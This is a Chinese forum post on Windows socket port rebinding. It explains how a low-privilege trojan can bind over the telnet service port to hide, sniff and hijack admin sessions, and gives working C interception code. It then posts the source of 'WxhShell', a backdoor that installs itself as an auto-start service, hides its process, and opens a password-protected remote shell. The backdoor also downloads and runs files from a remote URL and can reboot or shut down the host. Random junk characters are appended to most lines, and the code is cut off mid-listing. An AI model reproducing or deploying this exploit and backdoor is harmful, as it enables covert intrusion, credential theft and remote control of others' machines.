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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /9gMcn9EB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); atnbM:t  
I!@` _Q9N  
  saddr.sin_family = AF_INET; ~d8o,.n`1  
|/ 7's'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); LxGh *7K-  
B(NL3WJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tG&B D\  
a,\u|T:g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;Q 6e&Ips/  
3 +9|7=d  
  这意味着什么?意味着可以进行如下的攻击: ;0{*V5A  
v Cr$miZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y)5}bmL  
uv d>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (S{c*"}2  
W u{nC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .;Yei6H  
AE~}^(G`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <T9m.:l  
G7xjW6^T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k82LCV+6  
"6h.6_bTw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #J9XcD{1  
RGOwm~a  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uQ)]g  
Qk?Jy<Ra  
  #include =v;@w$#  
  #include 9&jNdB  
  #include Z k_&Kw|  
  #include    1.CYs<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G9%4d;uFT  
  int main() fQ) ;+  
  { wEqCuhZ  
  WORD wVersionRequested; 6f1Y:qK'@  
  DWORD ret; (b5af_ c  
  WSADATA wsaData; 3_:k12%p  
  BOOL val; Ue%5 :Sdr  
  SOCKADDR_IN saddr; ax}Xsk_  
  SOCKADDR_IN scaddr; ]P5u:~U  
  int err; BGOI  
  SOCKET s; YkbLf#2AE|  
  SOCKET sc; u{^Kyo#v  
  int caddsize; o^J&c_U\3'  
  HANDLE mt; bBL"F!.  
  DWORD tid;   }3e+D  
  wVersionRequested = MAKEWORD( 2, 2 ); \6L=^q=  
  err = WSAStartup( wVersionRequested, &wsaData ); P40eK0 e6  
  if ( err != 0 ) { S d -+a  
  printf("error!WSAStartup failed!\n"); *8+YR  
  return -1; p `Z7VG  
  } 21Opx~T3  
  saddr.sin_family = AF_INET; /GNYv*  
   Gd 9B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C\K--  
nIT=/{oyi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CQHlSV W  
  saddr.sin_port = htons(23); 5}VP-04vh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l"Q8`  
  { \U8Vsx1tl  
  printf("error!socket failed!\n"); D:0PppE  
  return -1; '-qc \6UY  
  } GW#Wy=(_  
  val = TRUE; L x&ZWF$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XFYl[?`G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X8TZePh  
  { [0emOS  
  printf("error!setsockopt failed!\n"); 75ob1h"  
  return -1; 1:8: yFV  
  } 9IMcp~zX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X88Zd M'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )k Uw,F=6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =lnz5H  
wXnt3)e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^W*/!q7H  
  { N:.bnF(  
  ret=GetLastError(); !h~\YE)  
  printf("error!bind failed!\n"); {,ljIhc,  
  return -1; XhiC'.B_  
  } kzT'  
  listen(s,2); * G4;  
  while(1) 0v?,:]A0E  
  { ,v+SD\7|  
  caddsize = sizeof(scaddr); WfVie6  
  //接受连接请求 Z^ 3Risi  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [z9i v~  
  if(sc!=INVALID_SOCKET) <Lt$qV-#  
  { "lt[)3*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); PE>_;k-@k  
  if(mt==NULL) lAQ&PPQ  
  { &R]G)f#w%*  
  printf("Thread Creat Failed!\n"); g& Rk}/F  
  break; fi)ypv*  
  } JB7]51WH@  
  } &}ow-u9c3  
  CloseHandle(mt); /uWON4  
  } YL+W 4 ld  
  closesocket(s); RPu-E9g@  
  WSACleanup(); `:&{/|uP7  
  return 0; -p }]r  
  }   '1+ Bgf  
  DWORD WINAPI ClientThread(LPVOID lpParam) (46)v'?  
  { /(w5S',EL  
  SOCKET ss = (SOCKET)lpParam; p#w,+)1!d  
  SOCKET sc; "x)W3C%*S  
  unsigned char buf[4096]; $A ,=z  
  SOCKADDR_IN saddr; U+z&jdnhDR  
  long num; hI yfF  
  DWORD val; v3B ^d}+.  
  DWORD ret; h?b{{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9b0Z Ey{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NZ#z{JI =+  
  saddr.sin_family = AF_INET; e)M1$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); MD,-<X)Qy  
  saddr.sin_port = htons(23); !Kis,e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )L?Tq"hy  
  { Z=xrj E  
  printf("error!socket failed!\n"); |[ge ,MO:  
  return -1; c=5$bo]LI  
  } C,E 5/XW  
  val = 100; AG?oA328  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >HDK< 1>  
  { ?s//a_nL*  
  ret = GetLastError(); )`)cB)s  
  return -1; 86i =N _  
  } 0bor/FU-d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t9kgACo/M  
  { L\UYt\ks  
  ret = GetLastError(); $I'ES#8P6  
  return -1; u=4Rn  
  } t?s1@}G^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A[o Ri}=  
  { n1QO/1} :  
  printf("error!socket connect failed!\n"); >\e11OU0Gy  
  closesocket(sc); >y?$aJ8ZV  
  closesocket(ss); b(yY.L=K  
  return -1; ]T$~a8  
  } l}m@9 ~oC  
  while(1) #>0nNR[$Y  
  { r`=d4dK-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 mVxS[Gq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )9*WmFc+#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *]LM2J  
  num = recv(ss,buf,4096,0); NH{0KZ R  
  if(num>0) uJ[dO}  
  send(sc,buf,num,0); bV"0}|A~K  
  else if(num==0) :KQ<rLd  
  break; uwbj`lpf  
  num = recv(sc,buf,4096,0); 7"gy\_M  
  if(num>0) t((0]j^  
  send(ss,buf,num,0); 0P|WoC X  
  else if(num==0) X/Ae-1!  
  break; :G!Kaa,r  
  } lHx$F ?  
  closesocket(ss); ]!/1qF  
  closesocket(sc); (qaY,>je]D  
  return 0 ; wm}i+ApK  
  } A >e%rx  
H*Yy o ?  
<_D+'[  
========================================================== j,~h:MT  
%l>^q`p  
下边附上一个代码,,WXhSHELL D~-Ri`k.  
P63f0 F-G  
========================================================== ZY83, :<  
*_ "j"{  
#include "stdafx.h" pvX\k X3}  
6 ,!]x>B  
#include <stdio.h> >Zr`9$i  
#include <string.h> ?g!)[p`v  
#include <windows.h> r!;NH3 *  
#include <winsock2.h> !a  /  
#include <winsvc.h> O:1YG$uKa  
#include <urlmon.h> B"G;"X  
8 }-"&-X  
#pragma comment (lib, "Ws2_32.lib") WKN\* N<  
#pragma comment (lib, "urlmon.lib") hp)3@&T  
#q%&,;4  
#define MAX_USER   100 // 最大客户端连接数 4Y Kb~1qkk  
#define BUF_SOCK   200 // sock buffer YYhRdU/g  
#define KEY_BUFF   255 // 输入 buffer mX %;  
_Ab|<!a/R  
#define REBOOT     0   // 重启 C,Ch6Ph  
#define SHUTDOWN   1   // 关机 A;h~Fx6s  
*dGW=aM#C  
#define DEF_PORT   5000 // 监听端口 ,9=a(j"  
+YP,LDJ!v  
#define REG_LEN     16   // 注册表键长度 ^)X^Pcx  
#define SVC_LEN     80   // NT服务名长度 *C$ W^u5h  
5)0R:  
// 从dll定义API >I+O@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZMbv1*Vt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9=:!XkT.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v-OaH81&R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `a] /e  
`/"TYR%  
// wxhshell配置信息 Jcm" i ~  
struct WSCFG {  75%!R  
  int ws_port;         // 监听端口 gg933TLu(Q  
  char ws_passstr[REG_LEN]; // 口令 xmbkn}@A  
  int ws_autoins;       // 安装标记, 1=yes 0=no Tc{r}y[)  
  char ws_regname[REG_LEN]; // 注册表键名 R`Q9|yF\  
  char ws_svcname[REG_LEN]; // 服务名 |06G)r&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3rs=EMz:w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >*EcX3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 - v`;^X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Bisht%]^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k{uc%6s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V0"UFy?i  
JWC{"6  
}; !YCYmxw#  
+[:}<^p?cG  
// default Wxhshell configuration ZVViu4]?y  
struct WSCFG wscfg={DEF_PORT, ^ *RmT  
    "xuhuanlingzhe", q_JES4ofx  
    1, Y8(g8RN  
    "Wxhshell", dKhDO`.s  
    "Wxhshell", Y!}BmRLh2  
            "WxhShell Service", {R\"x|  
    "Wrsky Windows CmdShell Service", aabnlOVw  
    "Please Input Your Password: ", bq]af.o*  
  1,  R:-^,/1  
  "http://www.wrsky.com/wxhshell.exe", 0Bb amU  
  "Wxhshell.exe" AS~O*(po  
    }; H+t^eg88  
"|(+~8[  
// 消息定义模块 n hS=t8H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |K7JU^"OQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <Xv]Ih?@f`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hK?uGt d?  
char *msg_ws_ext="\n\rExit."; `G,\=c~{A  
char *msg_ws_end="\n\rQuit."; y~jTI[kS  
char *msg_ws_boot="\n\rReboot..."; B]#0]-ua  
char *msg_ws_poff="\n\rShutdown..."; cW%F%:b  
char *msg_ws_down="\n\rSave to "; 0OP6VZ\  
t\S}eoc  
char *msg_ws_err="\n\rErr!";  weKwBw  
char *msg_ws_ok="\n\rOK!"; .(ki(8Z N  
~}(}:#>T  
char ExeFile[MAX_PATH]; M{Wla 7  
int nUser = 0; nTyK Z(#u  
HANDLE handles[MAX_USER]; Od)]FvO  
int OsIsNt; )Yy`$`  
ohOze\T)=  
SERVICE_STATUS       serviceStatus; Kb#py6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Syo1Dq6z.  
Bzw~OB{!=J  
// 函数声明 6l<q  
int Install(void); RKx" }<#+  
int Uninstall(void); YOd 0dKe  
int DownloadFile(char *sURL, SOCKET wsh); Yc&yv  
int Boot(int flag); }]'Z~5T  
void HideProc(void); Quqts(Q)+  
int GetOsVer(void); C5$1K'X@  
int Wxhshell(SOCKET wsl); i.C+{QH  
void TalkWithClient(void *cs); ULNU'6  
int CmdShell(SOCKET sock); ^/U-(4O05*  
int StartFromService(void); 9m/v^  
int StartWxhshell(LPSTR lpCmdLine); r1}YN<+,s  
 W^Wr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =bi:<%"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g kT`C  
c R*D)'/tl  
// 数据结构和表定义 C5c@@ch :  
SERVICE_TABLE_ENTRY DispatchTable[] = ia?{]!7$  
{ 4 bw8^  
{wscfg.ws_svcname, NTServiceMain}, !"Jne'f  
{NULL, NULL} RQ;pAO  
}; lQ {k  
oYG9i=lZ  
// 自我安装 KY~p>Jmh  
int Install(void) TmxhP nJ~  
{ !uLz%~F  
  char svExeFile[MAX_PATH]; %4*-BCP  
  HKEY key; n<+g{QHi  
  strcpy(svExeFile,ExeFile); |Ah'KpL8W  
ZEYT17g]  
// 如果是win9x系统,修改注册表设为自启动 &!SdO<agZ  
if(!OsIsNt) { p8aGM-+40W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <%Zg;]2H`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _Ryt|# y  
  RegCloseKey(key); c |.~f+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -~n^?0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {N42z0c  
  RegCloseKey(key); &`Oj<UyJY  
  return 0; 0JN>w^  
    } G>& Tap>  
  } gdPv,p19L  
} R*|y:T,H  
else { q$L=G  
>x]b"@Hkw  
// 如果是NT以上系统,安装为系统服务 CoO..  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (NR8B9qLN  
if (schSCManager!=0) P MV;A{T  
{ Xn@\p5<  
  SC_HANDLE schService = CreateService hLK5s1#K  
  ( 0}tf*M+a  
  schSCManager, 2.)xWCG  
  wscfg.ws_svcname, c5C 2xE}T  
  wscfg.ws_svcdisp, 094~  s  
  SERVICE_ALL_ACCESS, @TBcVHy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #bc$[%_  
  SERVICE_AUTO_START, W5z<+8R  
  SERVICE_ERROR_NORMAL, / Vy pN,  
  svExeFile, t.Q}V5t{g  
  NULL, HI&N&a9C  
  NULL, xMsSZ{j%5  
  NULL, .$&mWytw=  
  NULL, =;A p+}  
  NULL s&&8~ )H  
  ); z=%&?V  
  if (schService!=0) :59fb"^$  
  { ;\-f7!s  
  CloseServiceHandle(schService); OCHjQc  
  CloseServiceHandle(schSCManager); Bu7Ztt*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {,xI|u2R  
  strcat(svExeFile,wscfg.ws_svcname); $23*:)&J4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W}jel}:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PIOG| E  
  RegCloseKey(key); %EV\nwn6  
  return 0; \vwsRT 1  
    } eYNu78u   
  } 6bPoC$<Z  
  CloseServiceHandle(schSCManager); w1U2cbCr/  
} wzX(]BG  
} [.:SV|AF#  
XK#~w:/fB  
return 1; E/+H~YzO  
} T1$=0VSEa+  
y#tuwzE  
// 自我卸载 K!~j}z*  
int Uninstall(void) }\ kLh(  
{ )bqSM&SO  
  HKEY key; LL% Aw)Q`  
5>CmWMQ  
if(!OsIsNt) { (B+CI%= D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q+bZZMK5,U  
  RegDeleteValue(key,wscfg.ws_regname); "- 2HKs  
  RegCloseKey(key); WX~: Y,l+u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]]Bq te  
  RegDeleteValue(key,wscfg.ws_regname); l$_q#Kd  
  RegCloseKey(key); c+S<U*  
  return 0; J)o.@+Q}  
  } c?(;6$A  
}  #dO8) t  
} qe^d6  
else { AUk-[i  
~V34j:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _L8|Z V./  
if (schSCManager!=0) "2'4b  
{ =#=<%HPT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @kh:o\  
  if (schService!=0) &<dC3o!  
  { )}!Z^ND*  
  if(DeleteService(schService)!=0) { oz8z%*9 (  
  CloseServiceHandle(schService); #Sg< 9xsW  
  CloseServiceHandle(schSCManager); &,*G}6wa;&  
  return 0; Q+<{2oVz  
  } FT'2 J  
  CloseServiceHandle(schService); Y9<N#h#  
  } -ElK=q  
  CloseServiceHandle(schSCManager);  {4]sJT  
} v[l={am{/  
} meF.`fh  
,]Gi942  
return 1; };{Qx  
} CU`yi.)T{  
]9A@iA  
// 从指定url下载文件 SH ow~wxw  
int DownloadFile(char *sURL, SOCKET wsh) vQH 6CB"  
{  C\`*_t  
  HRESULT hr; |(eRv?Qy@  
char seps[]= "/"; simD<&p  
char *token; !&(^R<-id  
char *file; #3~hF)u&/  
char myURL[MAX_PATH]; |7CFm  
char myFILE[MAX_PATH]; 1 lZRi-P  
[LF<aR5  
strcpy(myURL,sURL); |7# S0Ca@  
  token=strtok(myURL,seps); y/vGt_^;3<  
  while(token!=NULL) xcHuH -}  
  { 3a Y^6&  
    file=token; L$zB^lSM  
  token=strtok(NULL,seps); e0Jz|?d=  
  } (/i?Fd  
?+P D?c7  
GetCurrentDirectory(MAX_PATH,myFILE); 0PP5qeqN2n  
strcat(myFILE, "\\"); ~fF_]UVq3  
strcat(myFILE, file); c3__=$)'kP  
  send(wsh,myFILE,strlen(myFILE),0); j+eto'  
send(wsh,"...",3,0); Hd_W5R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  j1~'[  
  if(hr==S_OK) 0rrNVaM  
return 0; R3bHX%T  
else H13kNhV9  
return 1; (O!Q[WLS  
dje}C bZ  
} \+#>XDD  
(5/>arDn  
// 系统电源模块 xJ rKH  
int Boot(int flag) Spm0DqqR?  
{ Z#vU~1W  
  HANDLE hToken; 7Zw.mM!i  
  TOKEN_PRIVILEGES tkp; 2kfX_RK  
)`z{T  
  if(OsIsNt) { ,9.-A-Yw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }7HR<%< 7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w,x'FZD  
    tkp.PrivilegeCount = 1; P1_ZGeom*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S x0QPX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8! X K[zL  
if(flag==REBOOT) { 5jey%)=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s(0"r.  
  return 0; I]iTD  
} pNNvg,hS8  
else { elDt!9Pu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /%{Qf  
  return 0; 78UE?) X"  
} j3Ps<<eA  
  } E[a|.lnV  
  else { /^\UB fE  
if(flag==REBOOT) { U9t-(`[j?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I&JjyR  
  return 0; &UxI62[k  
} mmvo >F"  
else { ,!>1A;~wT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;) XB'  
  return 0; 7 (kC|q\4M  
} /'QfLW>6  
} MO%kUq|pg  
231,v,X[  
return 1; vp4NH]fJ  
} ^~DDl$NH  
#`o]{UfW  
// win9x进程隐藏模块 I3hN7  
void HideProc(void) cVf}8qf)  
{ n\w2e_g;N  
YwaWhBCIF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^W%#Elf)  
  if ( hKernel != NULL ) PBOZ^%k  
  { xe@11/F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vo`,|3^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [4 y7tjar^  
    FreeLibrary(hKernel); $2/v8  
  } ]L/AW  
krMO<(x+  
return; Ba#wW E  
} chakp!S=  
Vk:] aveW  
// 获取操作系统版本 .8dlf7* ,  
int GetOsVer(void) "pMx(  
{ hF^y4v|5  
  OSVERSIONINFO winfo; 13aj fH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LQz6op}R  
  GetVersionEx(&winfo); fWs@ZCt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {?RVw`g&f  
  return 1; R5& R ~1N  
  else 6DT ^:LHS  
  return 0; <5E: ,<  
} z)F<{]%  
T*{nf  
// 客户端句柄模块 ZwOX ,D  
int Wxhshell(SOCKET wsl) bnZ~jOHl  
{ bmQ-5SE  
  SOCKET wsh; ~-2Gx HO`  
  struct sockaddr_in client; 9 $*O^  
  DWORD myID; bw8[L;~%_  
8;v/b3  
  while(nUser<MAX_USER) #p7K2  
{ > e"vP W*[  
  int nSize=sizeof(client); gT{WH67u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W )jtTC7  
  if(wsh==INVALID_SOCKET) return 1; <^da-b>C  
7CDp$7v2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *O'`&J  
if(handles[nUser]==0) 6olJ7`*  
  closesocket(wsh); Pr'Ij  
else EECuJ+T  
  nUser++; 2(i| n=  
  } ?k$'po*Eq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y8j6ttQv=t  
RdqB^>X  
  return 0; qV5l v-p  
} hxZL/_n'  
0s!';g Q  
// 关闭 socket de_%#k1:L  
void CloseIt(SOCKET wsh) O)$Pvll  
{ tA8O( 9OV  
closesocket(wsh); Xe2Zf  
nUser--; )skz_a}]8  
ExitThread(0); BcxALRWE  
} "cz'|z`  
n?:%>Os$  
// 客户端请求句柄 * zt?y  
void TalkWithClient(void *cs) H b?0?^#  
{ bbs'>D3  
:Z&<5  
  SOCKET wsh=(SOCKET)cs; ^v5<*uf%m  
  char pwd[SVC_LEN]; <Uc?#;% Y}  
  char cmd[KEY_BUFF]; YL&)@h  
char chr[1]; Q!y%N&  
int i,j; `8/D$  
J%FF@.)k  
  while (nUser < MAX_USER) { ;6M [d  
z\`tn z7>$  
if(wscfg.ws_passstr) { vYg>^!Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n7/>+V+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hu$y8_Udw  
  //ZeroMemory(pwd,KEY_BUFF); <DZ$"t  
      i=0; kRqe&N e  
  while(i<SVC_LEN) { Ay0.D FL  
Z(I=K BI  
  // 设置超时 s63!]LDr  
  fd_set FdRead; b\S~uFq6  
  struct timeval TimeOut; |B {*so]  
  FD_ZERO(&FdRead); *RM 3 _  
  FD_SET(wsh,&FdRead); L6./5`bs  
  TimeOut.tv_sec=8; xF6byTi  
  TimeOut.tv_usec=0; l5/gM[0_7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B \LmE+a>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~P BJ~j+G  
MdDL?ev  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UM<!bNz`  
  pwd=chr[0]; X ?U'GLm  
  if(chr[0]==0xd || chr[0]==0xa) { 8.:WMH`  
  pwd=0; -B& Nou  
  break; K\FLA_J  
  } 3 sD|R{  
  i++; 1:!H`*DU&  
    } Lp) P7Yt-  
*x:*Q \|  
  // 如果是非法用户,关闭 socket 3EHB~rL/C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :(iBLO<x  
} "hk {"0E  
xp}M5|   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wJC F"e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); erh ez  
=!\Y;rk  
while(1) { p\R&vof*  
!Df>Q5~g  
  ZeroMemory(cmd,KEY_BUFF); .C` YO2,  
zpjE_|  
      // 自动支持客户端 telnet标准   ]$=#:uf  
  j=0; x4K A8  
  while(j<KEY_BUFF) { @N ]]Cf>x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lg~ll$ U  
  cmd[j]=chr[0]; G6dUm_iB  
  if(chr[0]==0xa || chr[0]==0xd) { 5^K\<+{~B  
  cmd[j]=0; {&J~P&,k  
  break; e%EO/ 2"  
  } Sm{> 8e}UE  
  j++; 2 w6iqLr?  
    } &M:o(T  
'&nQ~=3  
  // 下载文件 M@o^V(j  
  if(strstr(cmd,"http://")) { ,m8mh)K?0>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (vp#?-i  
  if(DownloadFile(cmd,wsh)) /+1(,S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p|?FA@ 3  
  else 0Py*%}r1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4fL`.n1^  
  } g^^pPV K_  
  else { VVDW=G  
5M/~ |"xk  
    switch(cmd[0]) { dI|D c  
  jweX"G54R  
  // 帮助 rsq?4+\  
  case '?': { ac\([F-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gt+rVJ=v  
    break; 53 -O wjpx  
  } )KEW`BC5T  
  // 安装 H'JU5nE  
  case 'i': { PW82 Vp.  
    if(Install()) Au6Y]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .)SR3?   
    else f!#+cM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +w-J;GLSy  
    break; a|jZg  
    } oKCv$>Y  
  // 卸载 : _tt9J  
  case 'r': { uXk]  
    if(Uninstall()) fY6~Z BvK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0?}n(f!S  
    else &36SX<vZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KK6n"&TVa  
    break; wSw> UU  
    }  6']HmM  
  // 显示 wxhshell 所在路径 )XHn.>]nc  
  case 'p': { U E$Ix  
    char svExeFile[MAX_PATH]; XMiu}w!  
    strcpy(svExeFile,"\n\r"); lB0`|UEb (  
      strcat(svExeFile,ExeFile); 0)M8Tm0$  
        send(wsh,svExeFile,strlen(svExeFile),0); R8_I ASs  
    break; 'y=N_/+s  
    } GGf<9!:  
  // 重启 Le:(;:eL>t  
  case 'b': { N/ f7"~+`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6]4#8tR1_  
    if(Boot(REBOOT)) /M+Du,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +VNk#Z i  
    else { #=VYq4B=  
    closesocket(wsh); Nke!!A}\|  
    ExitThread(0); V$sY3,J7A%  
    } ZPyzx\6\  
    break; r fzNw  
    } Zazff@O *  
  // 关机 ^5.XQ 0n  
  case 'd': { dI&Q5M8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TL)*onA9  
    if(Boot(SHUTDOWN)) (0B?OkQ  
